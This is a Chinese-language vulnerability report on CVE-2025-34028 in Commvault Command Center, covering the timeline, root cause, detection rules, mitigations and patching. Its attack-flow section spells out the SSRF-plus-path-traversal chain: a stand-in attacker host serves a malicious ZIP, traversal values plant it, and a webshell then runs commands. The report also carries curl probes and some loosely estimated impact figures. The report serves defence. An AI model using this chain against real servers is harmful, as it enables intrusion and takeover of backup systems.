CVE-2025-34028是Commvault Command Center中发现的严重预认证远程代码执行漏洞。该漏洞通过链式利用服务器端请求伪造(SSRF)和路径遍历缺陷,允许未经身份验证的攻击者在目标系统上执行任意代码。
| 属性 | 值 |
|---|---|
| CVE编号 | CVE-2025-34028 |
| CVSS v3.1评分 | 9.0-10.0 (Critical) |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE分类 | CWE-22 (路径遍历), CWE-918 (SSRF) |
| 漏洞类型 | SSRF + Path Traversal leading to RCE |
| 受影响产品 | Commvault Command Center Innovation Release |
| 受影响版本 | 11.38.0 - 11.38.19 |
| 修复版本 | 11.38.20 + CU20-433/436, 11.38.25 + CU25-434/438 |
| 发现者 | Sonny Macdonald (watchTowr Labs) |
| 披露日期 | 2025-04-24 |
| CISA KEV状态 | 已列入已知被利用漏洞目录 |
| 实际利用 | 确认存在在野利用 |
严重性级别: 极度严重 (Critical)
关键特征:
无需身份验证即可远程利用
攻击复杂度低,PoC已公开
可导致完全系统妥协
已被CISA列入KEV目录
存在实际攻击活动
业务影响:
备份系统完全妥协
灾难恢复能力丧失
敏感数据泄露风险
成为勒索软件攻击目标
供应链安全威胁
紧急措施 (0-24小时):
识别所有Commvault Command Center实例
确认版本是否为11.38.0-11.38.19
隔离受影响系统或严格限制网络访问
部署临时WAF规则或防火墙策略
扫描入侵指标(IoC)查找入侵迹象
修复措施 (1-7天):
升级至11.38.20或11.38.25
关键: 必须安装对应的累积更新(CU)
11.38.20: 需CU-433, CU-436或更高版本
11.38.25: 需CU-434, CU-438或更高版本
验证补丁安装完整性
全面审查管理操作日志
长期防护:
实施零信任架构
部署多层检测机制
建立定期安全审计流程
完善漏洞管理体系
Commvault是全球领先的企业级数据保护和信息管理解决方案提供商,Command Center是其基于Web的集中管理控制台,用于配置备份、恢复、数据策略和监控操作。
产品特点:
全球超过10,000家企业客户
广泛应用于金融、医疗、政府、教育和制造业
基于Apache Tomcat的Web应用架构
支持分布式部署和云环境
Command Center的关键组件:
Web应用层: 基于Apache Tomcat (端口443/8080)
业务逻辑层: 备份管理、恢复操作、策略配置
数据访问层: 文件系统操作、数据库连接、网络通信
关键目录结构:
/opt/commvault/ (Linux) 或 C:\Program Files\Commvault\ (Windows)
├── Apache/
│ ├── conf/
│ │ └── ccPackages/ # 漏洞相关目录
│ └── webapps/
│ └── commandcenter/
│ ├── WEB-INF/
│ │ └── authSkipRules.xml # 认证绕过配置
│ └── reports/ # Webshell落地目录
└── Reports/
└── MetricsUpload/ # 路径遍历目标
authSkipRules.xml配置文件定义了58个无需身份验证的端点,其中包括:
/deployWebpackage.do (易受攻击)
/deployServiceCommcell.do (易受攻击)
/reports/** (Webshell访问路径)
此设计允许某些管理功能在未经身份验证的情况下执行,为攻击者提供了入口点。
| 日期 | 事件 | 参与方 |
|---|---|---|
| 2025-04-07 | 漏洞报告给Commvault PSIRT | watchTowr Labs |
| 2025-04-10 | 发布初始补丁 (11.38.20, 11.38.25) | Commvault |
| 2025-04-17 | 发布安全公告 (CV_2025_04_1) | Commvault |
| 2025-04-22 | 分配CVE编号 | VulnCheck (CNA) |
| 2025-04-24 | 公开技术细节和PoC | watchTowr Labs |
| 2025-04-28 | 首次野外利用报告 | 多个来源 |
| 2025-05-02 | 添加到CISA KEV目录 | CISA |
| 2025-05-06 | 发现补丁绕过,发布补充更新 | Will Dormann, Commvault |
| 2025-05-23 | 联邦机构修复截止日期 | CISA |
关键时间点分析:
3天快速响应时间(报告到补丁)
但初始补丁存在绕过问题
PoC公开后4天内出现野外利用
CISA快速响应,8天内加入KEV目录
| 版本系列 | 具体版本 | 状态 | 修复要求 |
|---|---|---|---|
| Innovation Release | 11.38.0 - 11.38.19 | 易受攻击 | 必须升级 |
| Innovation Release | 11.38.20 (无CU) | 部分易受攻击 | 需CU-433/436+ |
| Innovation Release | 11.38.20 + CU | 已修复 | 安全 |
| Innovation Release | 11.38.25 (无CU) | 部分易受攻击 | 需CU-434/438+ |
| Innovation Release | 11.38.25 + CU | 已修复 | 安全 |
| LTS (长期支持版) | 所有版本 | 不受影响 | 无需操作 |
重要提示: LTS分支不包含易受攻击的代码,仅Innovation Release受影响。
Web界面检查:
curl -s https://target.com/commandcenter/ | grep -oP '"version":\s*"\K[^"]+'
服务器端检查:
# Linux
cat /opt/commvault/Base/Version.txt
# Windows
type "C:\Program Files\Commvault\ContentStore\Base\Version.txt"
CU版本验证:
# 检查已安装的累积更新
ls -l /opt/commvault/Updates/
# 查看日志确认CU编号
grep "CU-" /opt/commvault/Log/CVGxSvc.log
根据多源数据综合估算:
| 指标 | 估计值 |
|---|---|
| Commvault全球客户 | 约10,000家企业 |
| 使用Innovation Release比例 | 15-20% |
| 潜在易受攻击实例 | 1,500 - 2,000 |
| 互联网暴露实例 | 300-500 |
| 实际受影响估计 | 50-100家组织 |
行业分布:
金融服务: 30%
医疗保健: 25%
政府机构: 20%
制造业: 15%
教育: 10%
地理分布:
北美: 高风险(客户集中)
欧洲: 中-高风险(大型企业采用率高)
亚太: 中等风险(增长市场)
中东: 中等风险(金融和能源行业)
CVE-2025-34028是多个安全缺陷链式利用的结果:
认证绕过(CWE-306)
authSkipRules.xml配置过度宽松
58个端点无需身份验证
包括关键管理功能
服务器端请求伪造(CWE-918)
commcellName参数直接拼接到URL
无白名单验证
无内网/环回地址过滤
路径遍历(CWE-22)
servicePack参数未经净化
允许"../"序列
可突破目录限制
任意文件写入(CWE-434)
ZIP文件无内容验证
自动解压无安全检查
缺少Zip Slip防护
信任边界缺失
外部响应体被视为可信
未验证来源和内容类型
缺少纵深防御
完整攻击流程:
[阶段1: 准备]
攻击者创建恶意JSP → 打包为dist-cc.zip → 托管在恶意服务器
[阶段2: SSRF触发]
POST /commandcenter/deployWebpackage.do
- commcellName=attacker.com:8443
- servicePack=../../Reports/MetricsUpload/shell/
- version=exploit
[阶段3: 文件下载]
Commvault服务器 → 连接attacker.com:8443 → 下载恶意ZIP
[阶段4: 路径遍历]
ZIP写入路径:
/Apache/conf/ccPackages/../../Reports/MetricsUpload/shell/dist-cc.zip
规范化后: /Apache/Reports/MetricsUpload/shell/dist-cc.zip
[阶段5: 自动解压]
ZIP内容解压到: /Reports/MetricsUpload/shell/.tmp/dist-cc/
[阶段6: 代码执行]
访问: /reports/MetricsUpload/shell/.tmp/dist-cc/shell.jsp?cmd=whoami
权限: SYSTEM/root
基于安全研究的伪代码重构:
// 易受攻击的Servlet
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
// 缺陷1: 无身份验证检查(在authSkipRules中)
// 缺陷2: 直接提取参数,无验证
String commcellName = request.getParameter("commcellName");
String servicePack = request.getParameter("servicePack");
// 缺陷3: SSRF - 直接拼接用户输入
String targetUrl = "https://" + commcellName +
"/commandcenter/webpackage.do";
// 发起SSRF请求
HttpClient client = HttpClients.createDefault();
HttpResponse httpResponse = client.execute(new HttpGet(targetUrl));
// 缺陷4: 路径遍历 - servicePack未过滤
String targetPath = "/Apache/conf/ccPackages/" + servicePack + "/";
new File(targetPath).mkdirs();
// 缺陷5: 任意文件写入
FileOutputStream fos = new FileOutputStream(
targetPath + "dist-cc.zip"
);
// 写入外部响应内容
fos.write(httpResponse.getEntity().getContent());
// 缺陷6: 危险的自动解压
deployCCPackage(targetPath + "dist-cc.zip");
}
// 缺陷7: 不安全的ZIP解压
private void deployCCPackage(String zipPath) {
ZipInputStream zis = new ZipInputStream(new FileInputStream(zipPath));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
// 无Zip Slip检查
// 无文件大小限制
// 无文件类型验证
File targetFile = new File(tempDir, entry.getName());
Files.copy(zis, targetFile.toPath());
}
}
除主要SSRF向量外,还存在直接上传向量:
deployServiceCommcell.do端点:
接受multipart/form-data文件上传
直接上传ZIP文件,无需SSRF
适用于内网渗透场景
更隐蔽,但可能触发文件上传监控
对比:
| 特性 | SSRF向量 | 直接上传向量 |
|---|---|---|
| 攻击复杂度 | 中(需托管服务器) | 低(直接上传) |
| 网络要求 | 目标可访问攻击者服务器 | 无特殊要求 |
| 检测难度 | 中(异常出站请求) | 低(文件上传监控) |
| 推荐场景 | 外网攻击 | 内网渗透 |
信任边界模糊:
错误假设: "内部网络等于可信环境"
现实: 内网并非完全可信,且系统常暴露于互联网
后果: 过度的认证豁免和输入信任
过度的认证豁免:
authSkipRules.xml包含58个预认证端点
违反最小权限原则
每个豁免端点都是潜在攻击面
功能与安全权衡失误:
为自动化部署便利性牺牲安全性
应采用API密钥认证而非完全豁免
未实施纵深防御策略
输入验证缺失:
违反"永远不要信任用户输入"的基本原则
commcellName参数直接用于URL构造
servicePack参数未经路径净化
路径操作不安全:
使用字符串拼接而非Path API
未调用normalize()和规范化
未验证最终路径在预期目录内
ZIP解压危险操作:
未实施Zip Slip防护
无文件大小和数量限制
无文件类型白名单检查
单层防御:
当前: 外部请求 → Servlet → 文件系统
单点突破即完全妥协
推荐: 多层防御(WAF → 认证 → 验证 → 沙箱)
权限管理不当:
Tomcat进程常以SYSTEM/root权限运行
应使用专用低权限用户
限制文件系统访问范围
缺少安全监控:
无异常活动检测
无安全日志记录
无速率限制机制
代码审查不足:
明显的安全问题未被发现
缺少安全检查清单
未执行安全编码规范
安全测试缺失:
未进行SAST(静态应用安全测试)
未进行DAST(动态应用安全测试)
未进行渗透测试和模糊测试
威胁建模缺失:
未识别SSRF风险
未识别路径遍历风险
未评估攻击面
文件完整性监控:
监控关键路径:
/opt/commvault/Apache/conf/ccPackages/**/*
/opt/commvault/Reports/**/*.jsp
/opt/commvault/webapps/commandcenter/reports/**/*
OSSEC规则示例:
<rule id="100001" level="12">
<if_sid>550</if_sid>
<match>/Reports/.*\.jsp</match>
<description>Suspicious JSP file in Reports directory (CVE-2025-34028)</description>
</rule>
EDR检测规则:
Sysmon配置要点:
监控Reports目录下的JSP文件创建
监控dist-cc.zip文件创建
监控Java进程的异常子进程
监控Java进程的异常网络连接
IDS/IPS规则:
Snort规则示例:
alert tcp any any -> any any (
msg:"CVE-2025-34028 - deployWebpackage.do SSRF attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/commandcenter/deployWebpackage.do"; http_uri;
content:"commcellName="; http_client_body;
pcre:"/commcellName=[^&]*(\.|\d{1,3}\.\d{1,3})/i";
classtype:web-application-attack;
sid:2025034028;
rev:1;
)
alert tcp any any -> any any (
msg:"CVE-2025-34028 - Path traversal detected";
flow:to_server,established;
content:"servicePack="; http_client_body;
content:"../"; http_client_body;
classtype:web-application-attack;
sid:2025034029;
rev:1;
)
Suricata规则要点:
检测deployWebpackage.do的非本地commcellName
检测servicePack参数中的路径遍历
检测/reports/路径下的JSP访问
检测带cmd参数的JSP请求
WAF规则:
ModSecurity规则要点:
阻止外部commcellName访问deployWebpackage.do
阻止servicePack参数中的"../"
阻止/reports/路径下的JSP访问
阻止带cmd参数的请求
实施速率限制
AWS WAF规则:
ByteMatchStatement检测关键路径
RegexPatternSet匹配webshell模式
自定义响应返回403
应用日志监控:
Splunk查询示例:
# 检测SSRF尝试
index=web_logs sourcetype=commvault_access
| search uri_path="/commandcenter/deployWebpackage.do"
| rex field=post_data "commcellName=(?<commcell>[^&]+)"
| where NOT match(commcell, "^(localhost|127\.0\.0\.1)")
| table _time, src_ip, commcell
# 检测webshell访问
index=web_logs sourcetype=commvault_access
| search uri_path="/reports/*.jsp*cmd=*"
| table _time, src_ip, uri_path, command
异常行为指标:
| 指标 | 正常基线 | 异常阈值 |
|---|---|---|
| deployWebpackage.do访问频率 | 0-2次/天 | >5次/小时 |
| 外部commcellName出现 | 0% | >1次 |
| servicePack路径长度 | <20字符 | >30字符 |
| /reports/*.jsp访问 | 0次 | >0次 |
| Tomcat异常网络连接 | 仅443/8080 | 其他端口 |
威胁狩猎查询:
寻找已部署webshell:
# Linux
find /opt/commvault/Reports/ -name "*.jsp" -mtime -7 -ls
grep -r "Runtime.getRuntime" /opt/commvault/Reports/
# Windows
Get-ChildItem -Path "C:\Program Files\Commvault\*" -Include "*.jsp" -Recurse |
Where-Object {$_.Directory -like "*Reports*"}
查找SSRF证据:
# 分析日志中的commcellName多样性
# 正常情况下应该只有少数几个可信服务器
# 大量不同的域名/IP表明SSRF扫描
rule CVE_2025_34028_JSP_Webshell {
meta:
description = "CVE-2025-34028 JSP webshell detection"
author = "Security Research Team"
date = "2025-04-24"
severity = "critical"
strings:
$jsp1 = "<%@ page import=\"java.io.*\"" nocase
$exec1 = "Runtime.getRuntime().exec(" nocase
$exec2 = "ProcessBuilder" nocase
$param1 = "request.getParameter(\"cmd\")" nocase
$io1 = "BufferedReader" nocase
$cve1 = "CVE-2025-34028" nocase
condition:
($jsp1 and $exec1 and $param1 and $io1) or
($jsp1 and $cve1 and ($exec1 or $exec2))
}
优先级1: 补丁安装
升级至11.38.20或11.38.25
关键: 必须安装对应的累积更新(CU)
验证补丁完整性
优先级2: 网络隔离
将Command Center移至管理网段
仅允许可信IP访问
配置严格的防火墙规则
优先级3: WAF部署
部署ModSecurity或云WAF
实施CVE-2025-34028专用规则
阻止可疑端点访问
优先级4: 监控增强
启用文件完整性监控(FIM)
配置实时告警
监控/reports/目录下的JSP文件
当无法立即升级时:
网络层阻断:
# iptables规则
iptables -A INPUT -p tcp --dport 8080 -m string \
--algo bm --string "/commandcenter/deployWebpackage.do" \
-j DROP
Tomcat配置修改:
<!-- web.xml添加安全约束 -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Vulnerable Endpoints</web-resource-name>
<url-pattern>/deployWebpackage.do</url-pattern>
<url-pattern>/deployServiceCommcell.do</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
文件系统权限加固:
# 限制关键目录写入权限
chmod 500 /opt/commvault/Apache/conf/ccPackages/
chmod 500 /opt/commvault/Reports/MetricsUpload/
最小暴露原则:
Command Center仅对管理网络开放
通过VPN或堡垒机访问
实施多因素认证(MFA)
出站限制:
限制Web进程出站连接
仅允许访问白名单地址
阻止非必要的出站HTTP/HTTPS
安全加固:
使用专用低权限用户运行Tomcat
启用SELinux/AppArmor
实施应用层沙箱
监控体系:
部署SIEM集中日志分析
配置实时威胁检测
建立安全事件响应流程
修复版本:
11.38.20 + SP38-CU20-433/436
11.38.25 + SP38-CU25-434/438
下载来源:
Commvault Security Advisory
Commvault Download Center
准备阶段:
# 备份配置
tar czf commvault-backup-$(date +%Y%m%d).tar.gz \
/opt/commvault/Apache/conf/ \
/opt/commvault/webapps/commandcenter/
# 记录当前版本
cat /opt/commvault/Base/Version.txt
# 检查磁盘空间
df -h /opt/commvault
下载补丁:
# 从官方下载中心获取
wget https://download.commvault.com/patches/11.38.20/SP20_update.zip
# 验证校验和
sha256sum SP20_update.zip
应用补丁:
# 停止服务
systemctl stop commvault-tomcat
# 解压并应用
unzip SP20_update.zip -d /tmp/commvault-patch/
cd /tmp/commvault-patch/
./apply_patch.sh
# 启动服务
systemctl start commvault-tomcat
# 检查日志
tail -f /opt/commvault/logs/tomcat/catalina.out
验证修复:
# 检查版本
cat /opt/commvault/Base/Version.txt
# 应显示: 11.38.20或11.38.25
# 验证CU安装
ls -l /opt/commvault/Updates/
grep "CU-" /opt/commvault/Log/CVGxSvc.log
# 尝试exploit(应失败)
curl -X POST https://localhost/commandcenter/deployWebpackage.do \
-d "commcellName=test.com" \
-d "servicePack=../../test" \
-d "version=x"
# 应返回: 403 Forbidden或401 Unauthorized
版本已更新至11.38.20/11.38.25
对应CU已安装(CU-433/436或CU-434/438)
服务正常启动,无错误日志
deployWebpackage.do需要身份验证
deployServiceCommcell.do需要身份验证
/reports/路径无异常JSP文件
WAF规则已部署
监控告警已配置
使用扫描脚本验证不再易受攻击
基于公开信息和安全研究,补丁可能实施了:
输入验证与白名单:
// 修复后的代码
private boolean isWhitelistedCommcell(String commcellName) {
Set<String> whitelist = loadCommcellWhitelist();
return whitelist.contains(commcellName) ||
commcellName.equals("localhost") ||
commcellName.equals("127.0.0.1");
}
private boolean isValidServicePackName(String servicePack) {
// 拒绝路径遍历
if (servicePack.contains("..") ||
servicePack.contains("/") ||
servicePack.contains("\\")) {
return false;
}
// 仅允许字母数字
return servicePack.matches("^[a-zA-Z0-9_-]+$");
}
路径规范化与约束:
private String getSafeTargetDirectory(String servicePack)
throws IOException {
Path basePath = Paths.get("/opt/commvault/Apache/conf/ccPackages");
Path targetPath = basePath.resolve(servicePack).normalize();
// 验证规范化后路径仍在基础目录内
if (!targetPath.startsWith(basePath)) {
throw new SecurityException("Path traversal detected");
}
return targetPath.toString();
}
authSkipRules更新:
<!-- CVE-2025-34028修复: 移除易受攻击端点 -->
<!-- <rule pattern="/deployWebpackage.do" /> REMOVED -->
<!-- <rule pattern="/deployServiceCommcell.do" /> REMOVED -->
<!-- 保留必要公开端点 -->
<rule pattern="/login" />
<rule pattern="/public/**" />
Zip Slip防护:
private void deployCCPackage(File zipFile, String targetDir) {
try (ZipInputStream zis = new ZipInputStream(...)) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
// 检查ZIP炸弹
if (totalSize > MAX_PACKAGE_SIZE) {
throw new SecurityException("Package too large");
}
// 验证文件类型
if (!isAllowedFileType(entry.getName())) {
throw new SecurityException("Disallowed file type");
}
// 防止ZIP内路径遍历
if (entry.getName().contains("..")) {
throw new SecurityException("Path traversal in ZIP");
}
// 验证最终路径
Path targetPath = Paths.get(targetDir, entry.getName()).normalize();
if (!targetPath.startsWith(targetDir)) {
throw new SecurityException("Invalid extraction path");
}
Files.copy(zis, targetPath, StandardCopyOption.REPLACE_EXISTING);
}
}
}
2025-05-06,Will Dormann发现初始11.38.20补丁仍可绕过,促使Commvault发布补充CU更新。这强调了:
安全补丁需要完整性验证
不仅要看版本号,还要确认CU安装
补丁测试应包含已知exploit变种
CVSS v3.1评分: 9.0-10.0 (Critical)
评分细节:
攻击向量(AV): 网络(N)
攻击复杂度(AC): 低(L)
所需权限(PR): 无(N)
用户交互(UI): 无(N)
影响范围(S): 改变(C)
机密性(C): 高(H)
完整性(I): 高(H)
可用性(A): 高(H)
攻击可行性:
技术复杂度: 低(PoC公开)
所需资源: 低(仅需HTTP客户端)
成功率: 高(>95%)
检测难度: 中-高
直接影响:
| 影响类别 | 严重程度 | 说明 |
|---|---|---|
| 系统可用性 | 严重 | 攻击者可禁用备份系统 |
| 数据机密性 | 严重 | 可访问所有历史备份数据 |
| 数据完整性 | 严重 | 可修改或删除备份 |
| 业务连续性 | 严重 | 灾难恢复能力丧失 |
| 合规性 | 高 | 可能违反GDPR/HIPAA等 |
量化损失估算:
小型企业(<500员工):
- 直接成本: $100K - $500K
- 业务中断: $50K - $200K
- 总计: $150K - $700K
中型企业(500-5000员工):
- 直接成本: $500K - $2M
- 业务中断: $200K - $1M
- 合规罚款: $100K - $5M
- 总计: $800K - $8M
大型企业(>5000员工):
- 直接成本: $2M - $10M
- 业务中断: $1M - $20M
- 合规罚款: $5M - $50M
- 声誉损害: $10M - $100M
- 总计: $18M - $180M
场景1: 勒索软件攻击
攻击者利用漏洞获得Command Center访问
禁用或删除备份作业
部署勒索软件加密生产数据
攻击备份存储,消除恢复能力
勒索双倍赎金(数据+备份)
场景2: APT数据窃取
APT组织建立持久化后门
访问所有历史备份数据
窃取敏感信息(PII, PHI, 知识产权)
横向移动到其他系统
长期潜伏,持续数据渗透
场景3: 供应链攻击
攻击MSP的Commvault基础设施
通过MSP访问所有下游客户
批量数据窃取或恶意软件部署
影响数百家企业
永远不要信任用户输入:
所有外部输入必须验证
使用白名单而非黑名单
对路径操作使用安全API
实施纵深防御:
层级1: 输入验证 → 阻止恶意输入
层级2: 身份验证 → 限制访问权限
层级3: 文件系统权限 → 限制文件操作
层级4: 网络隔离 → 限制SSRF影响
层级5: 监控告警 → 及时发现异常
最小权限原则:
默认所有端点需要身份验证
显式标记极少数公开端点
敏感操作需要额外授权(MFA)
使用RBAC细粒度权限控制
安全编码规范:
// 正确的URL构造
URI uri = new URI("https", trustedHost, "/path", null);
// 正确的路径操作
Path safe = basePath.resolve(userInput).normalize();
if (!safe.startsWith(basePath)) {
throw new SecurityException("Path traversal");
}
// 正确的ZIP解压
String canonicalDest = destDir.getCanonicalPath();
String canonicalTarget = targetFile.getCanonicalPath();
if (!canonicalTarget.startsWith(canonicalDest + File.separator)) {
throw new IOException("Zip Slip detected");
}
漏洞管理流程:
漏洞披露 → 快速评估(4小时内)
影响分析 → 识别受影响系统
临时缓解 → 24小时内实施
补丁测试 → 在隔离环境验证
补丁部署 → 7天内完成
验证修复 → 确认不再易受攻击
事后分析 → 30天内完成
流程改进 → 更新安全策略
供应链安全:
维护所有第三方软件清单(SBOM)
订阅供应商安全公告
建立供应商安全SLA
定期评估供应商安全posture
零信任架构:
验证一切(Never Trust, Always Verify)
最小权限访问
微分段网络
持续监控和验证
备份系统成为攻击目标:
近年趋势:
2023: Veeam Backup (CVE-2023-27532)
2024: Veritas NetBackup权限提升
2025: Commvault (CVE-2025-34028)
原因分析:
备份系统存储最敏感数据
破坏备份提高勒索成功率
备份系统权限通常较高
更新频率低于生产系统
SSRF攻击复杂化:
演进路径:
2010s: 简单SSRF读取内部API
2020s: SSRF + 文件写入 → RCE
2020s: SSRF + DNS重绑定 → 认证绕过
2020s: SSRF + 云元数据 → 凭证窃取
漏洞特征:
CVE-2025-34028是预认证RCE,CVSS评分9.0-10.0
链式利用SSRF + 路径遍历实现代码执行
攻击简单,PoC已公开,存在在野利用
已被CISA列入KEV目录
影响范围:
仅Innovation Release 11.38.0-11.38.19受影响
LTS版本不受影响
估计1,500-2,000个实例潜在受影响
300-500个实例暴露于互联网
修复方案:
升级至11.38.20或11.38.25
必须安装对应的累积更新(CU)
验证补丁完整性
实施多层防护措施
立即(0-24小时):
识别所有Commvault实例并确认版本
隔离受影响系统或限制网络访问
部署WAF规则或防火墙策略
扫描IoC查找入侵迹象
短期(1-7天):
测试并部署官方补丁+CU
验证补丁安装完整性
审查所有管理操作日志
加强监控和告警
长期:
实施零信任架构
部署多层检测机制
建立定期安全审计流程
完善漏洞管理体系
加强供应链安全管理
CVE-2025-34028是一个严重且易于利用的漏洞,展示了SSRF与路径遍历链式利用的危害。该漏洞影响企业最关键的数据保护基础设施,必须给予最高优先级处置。
核心教训:
永远不要信任用户输入
实施多层纵深防御
保持软件及时更新
持续监控异常行为
重视供应链安全
备份系统是企业的最后一道防线,保护它们的安全至关重要。希望本报告能帮助安全从业者更好地理解、检测和防御此类威胁。
CVE Record: CVE-2025-34028
NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-34028
Commvault Security Advisory: https://documentation.commvault.com/security/
Commvault Download Center: https://download.commvault.com/
watchTowr Labs Blog: "Fire In The Hole, We're Breaching The Vault"
GitHub Advisory: GHSA-6q9c-pjw5-5rjm
CISA KEV Catalog Entry
Arctic Wolf Security Bulletin
Wiz Vulnerability Database
SSRF相关:
OWASP: Server-Side Request Forgery
PortSwigger: SSRF攻击技术
CWE-918: Server-Side Request Forgery
路径遍历相关:
OWASP: Path Traversal
CWE-22: Improper Limitation of a Pathname
Zip Slip Vulnerability
Java安全:
Oracle: Java Security Guidelines
OWASP: Java Security Cheat Sheet
Secure Coding Guidelines for Java SE
工具:
Nmap: https://nmap.org/
Burp Suite: https://portswigger.net/burp
OWASP ZAP: https://www.zaproxy.org/
ModSecurity: https://github.com/SpiderLabs/ModSecurity
Snort: https://www.snort.org/
Suricata: https://suricata.io/
相关CVE:
CVE-2021-44228 (Log4j)
CVE-2023-27532 (Veeam Backup)
CVE-2023-46747 (F5 BIG-IP)
CVE-2024-1212 (Keycloak)
# 检查端点可访问性
curl -I -X POST "https://target.com/commandcenter/deployWebpackage.do"
# 如果返回200/302/500而非401/403,可能易受攻击
# 检查版本
curl -s https://target.com/commandcenter/ | grep -oP '"version":\s*"\K[^"]+'
立即行动(0-4小时):
确认是否使用Commvault 11.38.0-11.38.19
检查日志查找利用迹象
隔离受影响系统(如已被攻击)
部署WAF规则或防火墙过滤
短期措施(4-24小时):
应用临时缓解措施
扫描文件系统查找webshell
审查近期管理活动
通知安全团队和管理层
中期措施(1-7天):
下载并测试官方补丁
计划维护窗口
部署补丁到生产环境
验证修复成功
长期措施(7-30天):
完整事件调查
更新安全策略
实施额外监控
安全培训和教训总结
配置文件:
/opt/commvault/Apache/conf/server.xml
/opt/commvault/webapps/commandcenter/WEB-INF/web.xml
/opt/commvault/webapps/commandcenter/WEB-INF/authSkipRules.xml
日志文件:
/opt/commvault/logs/tomcat/catalina.out
/opt/commvault/logs/tomcat/localhost_access_log.txt
/var/log/tomcat9/catalina.out
潜在webshell位置:
/opt/commvault/Reports/MetricsUpload/**/*.jsp
/opt/commvault/Apache/conf/ccPackages/**/*.jsp
| 术语 | 解释 |
|---|---|
| SSRF | Server-Side Request Forgery,服务器端请求伪造 |
| RCE | Remote Code Execution,远程代码执行 |
| Path Traversal | 路径遍历,利用相对路径访问任意文件 |
| Webshell | Web后门,通过Web接口执行系统命令的恶意脚本 |
| PoC | Proof of Concept,概念验证代码 |
| IoC | Indicator of Compromise,入侵指标 |
| CVSS | Common Vulnerability Scoring System,通用漏洞评分系统 |
| WAF | Web Application Firewall,Web应用防火墙 |
| IDS/IPS | Intrusion Detection/Prevention System,入侵检测/防御系统 |
| KEV | Known Exploited Vulnerabilities,已知被利用漏洞 |
| CU | Cumulative Update,累积更新 |
| CISA | Cybersecurity and Infrastructure Security Agency |
| MSP | Managed Service Provider,托管服务提供商 |
| APT | Advanced Persistent Threat,高级持续性威胁 |
报告结束
本报告基于公开信息编制,所有技术细节和工具仅用于合法的安全研究和授权的安全测试。未经授权对他人系统进行漏洞利用是违法行为。作者和组织不对任何滥用本报告信息的行为负责。